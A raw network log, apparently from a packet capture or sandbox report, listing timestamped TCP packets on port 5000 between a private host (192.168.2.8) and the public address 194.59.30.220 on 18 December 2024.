Dec 18, 2024 11:56:27.520616055 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.521425009 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.521523952 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.521575928 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.522646904 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.522711992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.522759914 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.523509979 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.523601055 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.523648977 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.524404049 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.524514914 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.524571896 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.525530100 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.525542974 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.525583029 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.526196003 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.526295900 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.526340008 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.527050018 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.527122974 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.527189970 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.528007030 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.528194904 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.528259993 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.529009104 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.529165983 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.529222012 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.529846907 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.529979944 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.530035973 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.530775070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.530786991 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.530833006 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.531567097 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.531708002 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.531807899 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.532174110 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.532202005 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.532244921 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.532990932 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.533130884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.533174038 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.533855915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.534059048 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.534109116 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.534799099 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.534853935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.534899950 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.535685062 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.535746098 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.535800934 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.536623955 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.536688089 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.536735058 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.537520885 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.537606955 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.537662029 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.538414001 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.538455963 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.538507938 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.539207935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.539344072 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.539390087 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.540164948 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.540225983 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.540273905 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.541080952 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.541192055 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.541239977 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.542061090 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.542073965 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.542124033 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.542952061 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.542963982 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.543015003 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.552589893 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.552602053 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.552653074 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.552922964 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.553050995 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.553179979 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.553946972 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.553965092 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.554034948 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.555000067 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.604664087 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.692234039 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.692305088 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.692364931 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.692641020 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.692723989 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.692780972 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.693375111 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.693484068 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.693562031 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.694127083 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.694276094 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.694363117 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.694751024 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.694880009 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.694925070 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.695491076 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.695611000 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.695666075 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.696201086 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.696376085 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.696428061 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.696846008 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.696892977 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.696944952 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.697962046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.698029995 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.698105097 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.698492050 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.698564053 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.698914051 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.699275970 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.699356079 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.699421883 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.700160980 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.700257063 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.700417995 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.701111078 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.701215029 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.701446056 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.702055931 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.702229977 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.702308893 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.703090906 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.703229904 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.703286886 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.703866959 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.703979015 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.704117060 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.704761028 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.704904079 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.705343962 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.705773115 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.705868006 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.705909014 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.706499100 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.706556082 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.706610918 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.707222939 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.707324028 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.707407951 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.707966089 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.708077908 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.708168030 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.708849907 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.709024906 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.709067106 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.709775925 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.709846020 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.709949970 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.710623026 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.710738897 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.710783005 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.711659908 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.711728096 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.711771965 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.712502003 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.712673903 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.712719917 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.713380098 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.713469982 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.713650942 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.714210987 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.714310884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.714354992 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.715142012 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.715251923 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.715290070 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.716058016 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.716150045 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.716197014 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.716947079 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.717084885 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.717130899 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.717803955 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.717940092 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.717987061 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.718738079 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.718866110 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.718910933 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.719640970 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.719773054 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.719820023 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.720505953 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.720622063 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.720664024 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.721404076 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.721455097 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.721498966 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.722330093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.722456932 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.722496033 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.723193884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.723335981 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.723377943 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.724118948 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.724189043 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.724227905 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.725001097 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.725110054 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.725153923 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.725877047 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.726039886 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.726093054 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.726810932 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.726880074 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.726922989 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.727685928 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.727813005 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.727861881 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.728584051 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.728717089 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.728765011 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.729496002 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.729518890 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.729571104 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.730408907 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.730534077 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.730581999 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.731290102 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.731600046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.732050896 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.732186079 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.732316017 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.732384920 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.733114004 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.733247995 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.733294010 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.734014988 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.734078884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.734183073 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.743623018 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.743639946 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.743860960 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.744038105 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.744179964 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.744230032 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.744932890 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.745049953 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.745093107 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.745757103 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.792181015 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.881865025 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.881933928 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.882013083 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.882369995 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.882462978 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.882522106 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.883089066 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.883135080 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.883187056 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.884002924 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.884095907 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.884283066 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.884835005 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.885001898 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.885056019 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.885807991 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.885852098 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.886013985 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.886631012 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.886749029 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.886797905 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.887516022 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.887569904 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.887624979 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.888510942 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.888556957 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.888606071 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.889375925 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.889487028 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.889554977 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.890429974 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.890516996 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.890569925 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.891170025 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.891294003 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.891343117 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.892345905 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.892431021 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.892492056 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.893263102 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.893316031 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.893591881 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.894196033 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.894345999 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.894407988 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.895359039 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.895459890 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.895508051 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.896446943 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.896601915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.896655083 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.897556067 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.897772074 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.897819996 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.898874998 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.898976088 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.899068117 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.899559021 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.899638891 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.900007010 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.900367975 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.900448084 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.900500059 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.901551008 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.901622057 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.901863098 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.902488947 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.902581930 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.902681112 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.903337955 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.903425932 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.903485060 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.904272079 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.904284000 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.904414892 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.905132055 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.905221939 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.905386925 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.906111002 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.906163931 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.906210899 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.906658888 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.906755924 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.907296896 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.907356977 CET	49706	5000	192.168.2.8	194.59.30.220
